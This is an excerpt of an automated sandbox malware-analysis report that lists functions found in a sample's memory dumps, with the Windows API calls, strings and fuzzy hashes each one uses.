Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 7991167c53da036b01b0ef71105cc62ae18ce2ce33421e669860087a9d9673d1
Instruction ID: 42020c414daf10b3bdb2077e1fd0e07dfe46f168576607e5e6c99c36f3ecb53b
Opcode Fuzzy Hash: 7991167c53da036b01b0ef71105cc62ae18ce2ce33421e669860087a9d9673d1
Instruction Fuzzy Hash: 85216DB5500305EBEB209F29DD45A9A77A6AF44726F204A19FCA5E62E0E770D948CF20

Function 006505A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 006505C6
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00650601

Strings

nul, xrefs: 00650639

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: ee9fc84a14ffe2e16fe27b7fd0d62b097e3498bd69ae1685e2e070a147591be3
Instruction ID: 90e4da3f684beb2ce34f392747ff12428f8798242ae7fc52f597b080dceb156e
Opcode Fuzzy Hash: ee9fc84a14ffe2e16fe27b7fd0d62b097e3498bd69ae1685e2e070a147591be3
Instruction Fuzzy Hash: 772181755003069BEB209F69CC04A9A77E6AF95731F240A19FCA1E72E0E770D9A5CB20

Function 006740AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005E600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 005E604C
Part of subcall function 005E600E: GetStockObject.GDI32(00000011), ref: 005E6060
Part of subcall function 005E600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 005E606A

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00674112
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0067411F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0067412A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00674139
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00674145

Strings

Msctls_Progress32, xrefs: 006740E3

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: f514150b4df494bcf8208e7cedff45a4dbb8587e65b0c54aa6456c9dae4ed7f2
Instruction ID: fffebb132d6458e5803ea8860df27eeb342e6d27930fb28a2f9fd31d6a30c2d7
Opcode Fuzzy Hash: f514150b4df494bcf8208e7cedff45a4dbb8587e65b0c54aa6456c9dae4ed7f2
Instruction Fuzzy Hash: 3911B6B11401197EEF119F64CC85EE77F5EFF09798F018110F618A6150CB729C61DBA4

Function 0061D7DF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0061D7A3: _free.LIBCMT ref: 0061D7CC

_free.LIBCMT ref: 0061D82D

Part of subcall function 006129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0061D7D1,00000000,00000000,00000000,00000000,?,0061D7F8,00000000,00000007,00000000,?,0061DBF5,00000000), ref: 006129DE
Part of subcall function 006129C8: GetLastError.KERNEL32(00000000,?,0061D7D1,00000000,00000000,00000000,00000000,?,0061D7F8,00000000,00000007,00000000,?,0061DBF5,00000000,00000000), ref: 006129F0

_free.LIBCMT ref: 0061D838
_free.LIBCMT ref: 0061D843
_free.LIBCMT ref: 0061D897
_free.LIBCMT ref: 0061D8A2
_free.LIBCMT ref: 0061D8AD
_free.LIBCMT ref: 0061D8B8

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction ID: 69ce54f5da642d403c576c4e21615006a21a7756319262f6d2f43e4e23b24acf
Opcode Fuzzy Hash: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction Fuzzy Hash: 47115171540B04AAD5A1BFB1CC47FCB7BDE6F00710F4C0C2DB299AA0E2DAA5F5A54654

Function 0064DA5A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 0064DA74
LoadStringW.USER32(00000000), ref: 0064DA7B
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0064DA91
LoadStringW.USER32(00000000), ref: 0064DA98
MessageBoxW.USER32(00000000,?,?,00011010), ref: 0064DADC

Strings

%s (%d) : ==> %s: %s %s, xrefs: 0064DAB9

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: HandleLoadModuleString$Message
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4072794657-3128320259
Opcode ID: 8aa411608751b0d8f96ea1d1deed7f2069c17a79d8ea81ce93d7155afe8b135a
Instruction ID: a947736437c3a7d026aba3721e9c2fb2d035ff679e1023522271e2abb8ba7d6f
Opcode Fuzzy Hash: 8aa411608751b0d8f96ea1d1deed7f2069c17a79d8ea81ce93d7155afe8b135a
Instruction Fuzzy Hash: 6D0186F2900208BFE715ABA4DD89EE7376DE708711F4054A9B70AE2141EA749EC44F74

Function 0065096B Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(019AE170,019AE170), ref: 0065097B
EnterCriticalSection.KERNEL32(019AE150,00000000), ref: 0065098D
TerminateThread.KERNEL32(?,000001F6), ref: 0065099B
WaitForSingleObject.KERNEL32(?,000003E8), ref: 006509A9
CloseHandle.KERNEL32(?), ref: 006509B8
InterlockedExchange.KERNEL32(019AE170,000001F6), ref: 006509C8
LeaveCriticalSection.KERNEL32(019AE150), ref: 006509CF

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: ce9877aef543c41e0f11e235279a27bf0b927f9cc803c9325bff95247f6c8c0d
Instruction ID: 01fb212f6ccf43c784927cd31ce3ef441d9ba2312976b8ddcbfebebde9d7e013
Opcode Fuzzy Hash: ce9877aef543c41e0f11e235279a27bf0b927f9cc803c9325bff95247f6c8c0d
Instruction Fuzzy Hash: BDF03132442902BBE7455F94EE8CBD6BB36FF01712F403029F205608A5D77495A5DF90

Function 00661C60 Relevance: 9.3, APIs: 6, Instructions: 298networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00661DC0
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00661DE1
WSAGetLastError.WSOCK32 ref: 00661DF2
htons.WSOCK32(?,?,?,?,?), ref: 00661EDB
inet_ntoa.WSOCK32(?), ref: 00661E8C

Part of subcall function 006439E8: _strlen.LIBCMT ref: 006439F2

Part of subcall function 00663224: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,?,0065EC0C), ref: 00663240

_strlen.LIBCMT ref: 00661F35

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _strlen$ByteCharErrorLastMultiWidehtonsinet_ntoa
String ID:
API String ID: 3203458085-0
Opcode ID: 1756665a0b50f66cccd187fd25b8e5a5b77a10fd3271cb07c5808a5918e50118
Instruction ID: f11574f39932a820f9fbc5461ee2d741d9a5fb60ae3a12b09d3b4f55cc364691
Opcode Fuzzy Hash: 1756665a0b50f66cccd187fd25b8e5a5b77a10fd3271cb07c5808a5918e50118
Instruction Fuzzy Hash: 4BB1BD30204341AFC324DF24C899E6A7BE6AF85318F58894CF5965F3A2DB31ED42CB91

Function 005E5D0A Relevance: 9.3, APIs: 6, Instructions: 276COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 005E5D30
GetWindowRect.USER32(?,?), ref: 005E5D71
ScreenToClient.USER32(?,?), ref: 005E5D99
GetClientRect.USER32(?,?), ref: 005E5ED7
GetWindowRect.USER32(?,?), ref: 005E5EF8

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: c6d128907db60b0522e2d5829f9f9e51cd93b87c93fd97eae3fc905da3a9778d
Instruction ID: 23fc5dd7be7e6158c1a6565e3940f70c6fbede11ecd899aed35e2830c41d6e2f
Opcode Fuzzy Hash: c6d128907db60b0522e2d5829f9f9e51cd93b87c93fd97eae3fc905da3a9778d
Instruction Fuzzy Hash: DCB17C35A00A8ADBDB14CFA9C4407EABBF6FF44314F14941AE8A9D7250EB34EA51DB50

Function 006101B7 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 006100BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 006100D6
__allrem.LIBCMT ref: 006100ED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0061010B
__allrem.LIBCMT ref: 00610122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00610140

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction ID: f7429e64969d336b38c291eceaeeea3b73c2cfc00f1e0eaebc3135604d12aaf6
Opcode Fuzzy Hash: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction Fuzzy Hash: BF81F571A00706ABEB249F68CC42BEB73EAAF45364F28412DF451D67C1EBB4D9808B54

Function 006161FE Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,006082D9,006082D9,?,?,?,0061644F,00000001,00000001,8BE85006), ref: 00616258
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0061644F,00000001,00000001,8BE85006,?,?,?), ref: 006162DE
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 006163D8
__freea.LIBCMT ref: 006163E5

Part of subcall function 00613820: RtlAllocateHeap.NTDLL(00000000,?,006B1444,?,005FFDF5,?,?,005EA976,00000010,006B1440,005E13FC,?,005E13C6,?,005E1129), ref: 00613852

__freea.LIBCMT ref: 006163EE
__freea.LIBCMT ref: 00616413

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 367ed1ecd34bb8584fd2950be28120ba029a3e457f88c0369b630359bce8668e
Instruction ID: ed84a7caffb3cd87ae7b560c46fd7aea1cf7cc5c9509c96f94cdb10d82389c26
Opcode Fuzzy Hash: 367ed1ecd34bb8584fd2950be28120ba029a3e457f88c0369b630359bce8668e
Instruction Fuzzy Hash: E251E076A00216ABEB298F64CC81EEF77ABEB44710F18422DFC15D6240EB34DCC1C6A0

Function 0066BBDB Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON

Download Yara Rule

APIs

Part of subcall function 005E9CB3: _wcslen.LIBCMT ref: 005E9CBD

Part of subcall function 0066C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0066B6AE,?,?), ref: 0066C9B5
Part of subcall function 0066C998: _wcslen.LIBCMT ref: 0066C9F1
Part of subcall function 0066C998: _wcslen.LIBCMT ref: 0066CA68
Part of subcall function 0066C998: _wcslen.LIBCMT ref: 0066CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0066BCCA
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0066BD25
RegCloseKey.ADVAPI32(00000000), ref: 0066BD6A
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 0066BD99
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0066BDF3
RegCloseKey.ADVAPI32(?), ref: 0066BDFF

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 1120388591-0
Opcode ID: 17e54f348530fb5b794daacdfce78bd69f89b8ce96450856137e97a0a5affd8e
Instruction ID: 4f820cec003cf484a1ecb400b09f1aa1c9ca986af081faf609ff578d7bb689d1
Opcode Fuzzy Hash: 17e54f348530fb5b794daacdfce78bd69f89b8ce96450856137e97a0a5affd8e
Instruction Fuzzy Hash: 3C81B470108241EFD714DF24C885E6ABBE6FF84308F14955CF5998B2A2DB32ED85CB92

Function 0063F7AD Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 0063F7B9
SysAllocString.OLEAUT32(00000001), ref: 0063F860
VariantCopy.OLEAUT32(0063FA64,00000000), ref: 0063F889
VariantClear.OLEAUT32(0063FA64), ref: 0063F8AD
VariantCopy.OLEAUT32(0063FA64,00000000), ref: 0063F8B1
VariantClear.OLEAUT32(?), ref: 0063F8BB

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: ecc42479e220e26c99c935040a58785aa3d6b2178a1ceafbad7304082e14c2ab
Instruction ID: 0bb02387b43e9e256fefeddca2c028e151cf913468827af54b826cb6c9a71c14
Opcode Fuzzy Hash: ecc42479e220e26c99c935040a58785aa3d6b2178a1ceafbad7304082e14c2ab
Instruction Fuzzy Hash: 5F51E431E00311BACF24AB65D895B69B7EAEF45310F20946BE906DF2D5EB708C41C7D6

Function 0065910C Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON

Download Yara Rule

APIs

Part of subcall function 005E7620: _wcslen.LIBCMT ref: 005E7625

Part of subcall function 005E6B57: _wcslen.LIBCMT ref: 005E6B6A

GetOpenFileNameW.COMDLG32(00000058), ref: 006594E5
_wcslen.LIBCMT ref: 00659506
_wcslen.LIBCMT ref: 0065952D
GetSaveFileNameW.COMDLG32(00000058), ref: 00659585

Strings

X, xrefs: 00659412

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _wcslen$FileName$OpenSave
String ID: X
API String ID: 83654149-3081909835
Opcode ID: e25c24dae7c8202fc9d178f449b51ae057c3bcbba61d1f4f5b499d7aaa09dcd5
Instruction ID: 5c6f7b347b2e06db174343498fc8d4696526d7878319b99d2a6b692a29c00c4d
Opcode Fuzzy Hash: e25c24dae7c8202fc9d178f449b51ae057c3bcbba61d1f4f5b499d7aaa09dcd5
Instruction Fuzzy Hash: 36E1A231504341CFD728DF25C885A6ABBE1BFC5314F14896DE9899B3A2EB31DD05CBA1

Function 005F920C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 005F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 005F9BB2

BeginPaint.USER32(?,?,?), ref: 005F9241
GetWindowRect.USER32(?,?), ref: 005F92A5
ScreenToClient.USER32(?,?), ref: 005F92C2
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 005F92D3
EndPaint.USER32(?,?,?,?,?), ref: 005F9321
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 006371EA

Part of subcall function 005F9339: BeginPath.GDI32(00000000), ref: 005F9357

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
String ID:
API String ID: 3050599898-0
Opcode ID: 74782ea4865819e9dfb4c0ef44d400e86d9ae3e89ec8e51680f187d423d8a642
Instruction ID: e1c9d197a3c2ae1776eacfdc97a355b4c911ae2c9458e30b12c7d5a513334d3e
Opcode Fuzzy Hash: 74782ea4865819e9dfb4c0ef44d400e86d9ae3e89ec8e51680f187d423d8a642
Instruction Fuzzy Hash: 2C41B271104605AFD721EF24CC98FBA7FAAFF46320F140629FA548B2E1C7359885DB61

Function 006507EF Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 0065080C
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 00650847
EnterCriticalSection.KERNEL32(?), ref: 00650863
LeaveCriticalSection.KERNEL32(?), ref: 006508DC
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 006508F3
InterlockedExchange.KERNEL32(?,000001F6), ref: 00650921

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: 88e6e8d06fd5c64e1390a05f2e5651cbc9cbd2aa31549560978230a56d140ee6
Instruction ID: 0bf23a85fe1a0f961bd547e4676750d330f7b115f417b4a7a0886eccc219cff5
Opcode Fuzzy Hash: 88e6e8d06fd5c64e1390a05f2e5651cbc9cbd2aa31549560978230a56d140ee6
Instruction Fuzzy Hash: E2416B71900206EBEF14AF54DC85AAA777AFF44310F1440A9EE04AF297D730EE64DBA4

Function 006781DB Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,0063F3AB,00000000,?,?,00000000,?,0063682C,00000004,00000000,00000000), ref: 0067824C
EnableWindow.USER32(?,00000000), ref: 00678272
ShowWindow.USER32(FFFFFFFF,00000000), ref: 006782D1
ShowWindow.USER32(?,00000004), ref: 006782E5
EnableWindow.USER32(?,00000001), ref: 0067830B
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 0067832F

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
